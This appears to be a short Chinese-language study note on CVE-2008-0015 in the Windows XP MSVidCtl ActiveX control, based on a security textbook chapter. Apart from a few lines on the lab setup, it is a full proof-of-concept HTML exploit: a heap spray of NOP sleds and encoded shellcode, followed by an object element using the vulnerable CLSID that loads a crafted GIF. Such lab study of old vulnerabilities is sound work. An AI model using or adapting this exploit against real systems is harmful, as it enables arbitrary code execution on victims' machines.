CVE-2008-0015分析

----------本文思路完全来自《0day安全：软件漏洞分析技术》第二十八章----------

实验环境
操作系统：Windows XP sp3
实验机器：VMware 15.5
IE 版本：6.0.2900.5512
msvidctl.dll版本：6.5.2600.5512

POC

<html>  
<body>  
<div id="DivID"></div>
<script>  
var nop="\u9090\u9090";
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
while(nop.length<=0x100000/2)
{
   nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for(var i=0;i<200;i++)
{
  slide[i] = nop + shellcode;
}

var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
</script>  
</body>  
</html>